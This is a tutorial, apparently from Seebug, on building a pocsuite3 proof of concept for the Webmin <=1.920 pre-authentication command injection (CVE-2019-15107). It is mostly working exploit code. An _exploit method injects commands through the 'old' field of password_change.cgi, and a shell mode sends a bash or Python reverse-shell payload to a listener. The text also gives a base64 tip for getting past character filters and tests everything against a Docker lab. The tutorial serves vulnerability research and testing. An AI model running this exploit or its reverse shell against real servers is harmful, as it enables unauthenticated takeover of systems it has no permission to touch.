Webmin Unauthorized Remote Command Execution Vulnerability (CVE-2019-15107)
Vulnerability details: Webmin Unauthenticated Remote Execution
Webmin is a web-based interface for system administration for Unix. Using any modern web browser, you can setup user accounts, Apache, DNS, file sharing and much more.
An issue was discovered in Webmin <=1.920
. The parameter old
in password_change.cgi
contains a command injection vulnerability.
PoC development
Based on the details of the vulnerability disclosed on the Internet, we can easily develop the PoC of the vulnerability. First, use the --new
parameter to generate a PoC template (if you think there are too many attributes, just press enter all the way).
➜ pocsuite --new
...
You are about to be asked to enter information that will be used to create a poc template.
There are quite a few fields but you can leave some blank.
For some fields there will be a default value.
-----
Seebug ssvid (eg, 99335) [0]: 98060
PoC author (eg, Seebug) []: Seebug
Vulnerability disclosure date (eg, 2021-8-18) [2022-07-11]: 2019-08-19
Advisory URL (eg, https://www.seebug.org/vuldb/ssvid-99335) [https://www.seebug.org/vuldb/ssvid-98060]:
Vulnerability CVE number (eg, CVE-2021-22123) []: CVE-2019-15107
Vendor name (eg, Fortinet) []:
Product or component name (eg, FortiWeb) []: Webmin
Affected version (eg, <=6.4.0) []: <=1.920
Vendor homepage (eg, https://www.fortinet.com) []: https://www.webmin.com
0 Arbitrary File Read
1 Code Execution
2 Command Execution
3 Denial Of service
4 Information Disclosure
5 Login Bypass
6 Path Traversal
7 SQL Injection
8 SSRF
9 XSS
Vulnerability type, choose from above or provide (eg, 3) []: 2
Authentication Required (eg, yes) [no]: no
Can we get result of command (eg, yes) [no]: yes
PoC name [Webmin <=1.920 Pre-Auth Command Execution (CVE-2019-15107)]:
Filepath in which to save the poc [./webmin_1.920_pre-auth_command_execution_cve-2019-15107.py]
[14:50:49] [INFO] Your poc has been saved in ./webmin_1.920_pre-auth_command_execution_cve-2019-15107.py :)
The generated PoC template is as follows.
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# It is recommended to import from pocsuite3.api
from pocsuite3.api import (
minimum_version_required, POCBase, register_poc, requests, logger,
OptString, OrderedDict,
random_str,
get_listener_ip, get_listener_port, REVERSE_PAYLOAD
)
# Limit the framework version and avoid running new PoC plugins on the old framework
minimum_version_required('1.9.6')
# DemoPOC class, inherited from the base class POCBase
class DemoPOC(POCBase):
# Attribute information of PoC and vulnerability
vulID = '98060'
version = '1'
author = 'Seebug'
vulDate = '2019-08-19'
createDate = '2022-07-11'
updateDate = '2022-07-11'
references = ['https://www.seebug.org/vuldb/ssvid-98060']
name = 'Webmin <=1.920 Pre-Auth Command Execution (CVE-2019-15107)'
appPowerLink = 'https://www.webmin.com'
appName = 'Webmin'
appVersion = '<=1.920'
vulType = 'Command Execution'
desc = 'Vulnerability description'
samples = ['']
install_requires = [''] # PoC third party module dependency
pocDesc = 'User manual of poc'
# Dork for search, if the target is not provided when running PoC and this field is not empty,
# the plugin will be loaded to retrieve the target from the cyberspace search engine
dork = {'zoomeye': ''}
suricata_request = ''
suricata_response = ''
# Define additional command line parameters for attack mode
def _options(self):
o = OrderedDict()
o['cmd'] = OptString('uname -a', description='The command to execute')
return o
# The core method of vulnerability
def _exploit(self, param=''):
# Use self._check() method checks whether the target is alive and whether it is a keyword honeypot.
if not self._check(dork=''):
return False
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
payload = 'a=b'
res = requests.post(self.url, headers=headers, data=payload)
logger.debug(res.text)
return res.text
# Implementation of verify mode
def _verify(self):
result = {}
flag = random_str(6)
param = f'echo {flag}'
res = self._exploit(param)
if res and flag in res:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
result['VerifyInfo'][param] = res
# Call self.parse_output(), return the result
return self.parse_output(result)
# Implementation of attack mode
def _attack(self):
result = {}
# self.get_option() method can obtain customized command line parameters
param = self.get_option('cmd')
res = self._exploit(param)
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
result['VerifyInfo'][param] = res
# Call self.parse_output(), return the result
return self.parse_output(result)
# Implementation of shell mode
def _shell(self):
try:
self._exploit(REVERSE_PAYLOAD.BASH.format(get_listener_ip(), get_listener_port()))
except Exception:
pass
# Register this PoC to the framework
register_poc(DemoPOC)
Based on the above PoC template, combined with vulnerability details, rewrite _exploit()
method.
def _exploit(self, param=''):
if not self._check(dork='<title>Login to Webmin</title>'):
return False
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'Referer': f'{self.url}/session_login.cgi'
}
payload = f'user=rootxx&pam=&expired=2&old=test|{param}&new1=test2&new2=test2'
res = requests.post(f'{self.url}/password_change.cgi', headers=headers, data=payload)
logger.debug(res.text)
return res.text.split('The current password is incorrect')[-1].split('</h3></center>')[0]
Preparing the vulnerable environment
Then we will set up the vulnerable environment for testing.
┌──(kali㉿kali)-[~]
└─$ docker run -it --rm -p 10000:10000 pocsuite3/cve-2019-15107
+ '[' 0 -eq 0 ']'
+ service webmin start
+ touch /var/webmin/miniserv.log
+ exec tail -f /var/webmin/miniserv.log
tail: unrecognized file system type 0x794c7630 for '/var/webmin/miniserv.log'. please report this to bug-coreutils@gnu.org. reverting to polling
...
Vulnerability verification
Verify mode works fine.
The attack mode gets the command line parameters to execute and returns the result. The --options
parameter can show the additional command line parameters defined by PoC.
Shell mode does not work with bash payload, so use Python instead. It should be noted that there are maybe some special characters in the payload, it needs to be analyzed in combination with the specific situation of the vulnerability, such as using base64 encoding to bypass the restriction.
def _shell(self):
try:
- self._exploit(REVERSE_PAYLOAD.BASH.format(get_listener_ip(), get_listener_port()))
+ self._exploit(REVERSE_PAYLOAD.PYTHON.format(get_listener_ip(), get_listener_port()))
except Exception:
pass
Shell mode works fine.